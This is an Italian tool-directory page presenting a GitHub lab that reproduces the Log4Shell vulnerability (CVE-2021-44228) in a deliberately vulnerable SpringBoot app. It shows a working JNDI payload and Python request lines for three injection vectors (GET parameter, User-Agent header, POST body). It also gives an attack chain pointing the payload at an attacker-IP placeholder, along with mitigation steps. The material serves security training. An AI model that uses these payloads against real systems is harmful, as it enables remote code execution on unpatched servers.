Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
log4j2-vuln-lab — CVE-2021-44228 (Log4Shell) campo di riproduzione della vulnerabilità | SpringBoot + Log4j2 2.14.1 | Verifica PoC con 3 vettori di attacco | Kitploit
Strumenti/GitHubGitHub/14free/log4j2-vuln-lab
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebApprendimento e FormazioneSviluppo PayloadLab e Pratica
GitHub14free/log4j2-vuln-lab

log4j2-vuln-lab

CVE-2021-44228 (Log4Shell) campo di riproduzione della vulnerabilità | SpringBoot + Log4j2 2.14.1 | Verifica PoC con 3 vettori di attacco

Vedi Repository
922 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

⚠️ Disclaimer: Questo progetto è destinato esclusivamente all'apprendimento della sicurezza e alla ricerca tecnica. Tutti gli ambienti vulnerabili sono configurati localmente e non è stato testato alcun target reale. Non utilizzarlo per scopi illegali; l'uso di questo progetto è a proprio rischio.

Laboratorio di riproduzione della vulnerabilità Log4j2 (CVE-2021-44228)

Introduzione alla vulnerabilità

Log4j2 è il framework di logging più utilizzato nell'ecosistema Java. Dispone di una funzionalità Lookup che consente di inserire contenuti dinamici nei log tramite la sintassi ${...}. Nelle versioni 2.14.1 e precedenti, quando il contenuto del log contiene ${jndi:...}, Log4j2 invia automaticamente una richiesta JNDI all'indirizzo specificato, consentendo a un attaccante di eseguire codice remoto (RCE).

Questa vulnerabilità è identificata come CVE-2021-44228, con punteggio CVSS 10.0 (massimo). Le condizioni di attivazione sono estremamente semplici, colpisce quasi tutte le applicazioni Java che utilizzano Log4j2 e il costo di sfruttamento è molto basso.

Configurazione dell'ambiente

Prerequisiti: JDK 8+, Maven, Python 3, libreria requests

Passo 1: Avviare il laboratorio vulnerabile

Aprire il progetto con IDEA ed eseguire VulnApplication.java. L'output seguente indica che l'avvio è riuscito:

root@kitploit:~
Tomcat started on port(s): 8080 (http)
Started VulnApplication in 1.1 seconds

Passo 2: Eseguire lo script PoC

root@kitploit:~
cd exploit
pip install requests
python exploit.py

Riproduzione della vulnerabilità

Costruzione del Payload

root@kitploit:~
${jndi:ldap://127.0.0.1:1389/EvilClass}

Vettore di attacco 1: Parametro GET

Iniettare il payload tramite parametro URL, attivando logger.info("User Login: {}", username):

root@kitploit:~
r = requests.get(f"{target_url}/login", params={"username": payload}, timeout=5)

Vettore di attacco 2: Header User-Agent

Iniettare il payload tramite header HTTP, attivando logger.info("User-Agent: {}", headers):

root@kitploit:~
r = requests.get(f"{target_url}/api/headers", headers={"User-Agent": payload}, timeout=5)

Vettore di attacco 3: Corpo della richiesta POST

Iniettare il payload tramite corpo della richiesta POST, attivando logger.info("Data: {}", body):

root@kitploit:~
r = requests.post(f"{target_url}/api/data", data=payload, timeout=5)

Risultato della riproduzione

root@kitploit:~
[+] Connessione ricevuta! Da 127.0.0.1:51631
[+] Vulnerabilità confermata! Log4j2 ha inviato una richiesta JNDI
[+] CVE-2021-44228 riprodotta con successo

Il listener riceve una connessione TCP dal laboratorio, dimostrando che Log4j2 ha analizzato ${jndi:...} e ha inviato una richiesta LDAP, confermando l'esistenza della vulnerabilità.

Principio della vulnerabilità

Meccanismo Lookup

La funzionalità Lookup di Log4j2 consente di inserire contenuti dinamici nei log tramite la sintassi ${...}, ad esempio ${env:PATH} per leggere variabili d'ambiente o ${sys:user.dir} per leggere proprietà di sistema.

Iniezione JNDI

JNDI (Java Naming and Directory Interface) è l'interfaccia di naming e directory di Java: dato un indirizzo, esegue una ricerca e restituisce il risultato. Se il risultato è una classe Java, la JVM la carica ed esegue automaticamente.

Catena di attacco completa

root@kitploit:~
① L'attaccante inserisce nel campo di input: ${jndi:ldap://IP_attaccante:1389/EvilClass}
    ↓
② Il sito riceve l'input e registra il log con logger.info()
    ↓
③ Log4j2 analizza il contenuto del log e rileva ${jndi:ldap://...}
    ↓
④ Log4j2 invia una richiesta LDAP → si connette al server dell'attaccante
    ↓
⑤ Il server LDAP dell'attaccante risponde: "Scarica EvilClass.class da questo indirizzo"
    ↓
⑥ Il server vittima scarica e carica la classe EvilClass
    ↓
⑦ Il blocco di codice static di EvilClass viene eseguito automaticamente → RCE (Remote Code Execution)

Soluzioni di mitigazione

  1. Aggiornare la versione di Log4j2: aggiornare alla versione 2.17.1 o successiva, che disabilita la funzionalità JNDI Lookup
  2. Disabilitare Lookup tramite variabile d'ambiente: aggiungere -Dlog4j2.formatMsgNoLookups=true ai parametri di avvio
  3. Blocco tramite WAF: aggiungere regole nel Web Application Firewall per bloccare le richieste contenenti ${jndi:

Struttura del progetto

root@kitploit:~
log4j2-vuln-lab/
├── pom.xml                          # Configurazione Maven, specifica la versione vulnerabile Log4j2 2.14.1
├── exploit/
│   └── exploit.py                   # Script PoC, 3 vettori di attacco + verifica tramite listener TCP
└── src/main/
    ├── java/com/vuln/log4j/
    │   ├── VulnApplication.java     # Classe di avvio SpringBoot
    │   └── controller/
    │       └── UserController.java  # 3 punti di iniezione vulnerabili (parametro GET/header UA/corpo POST)
    └── resources/
        ├── application.yml          # Configurazione porta + livello di logging
        └── log4j2.xml               # File di configurazione Log4j2
Scarica lo strumento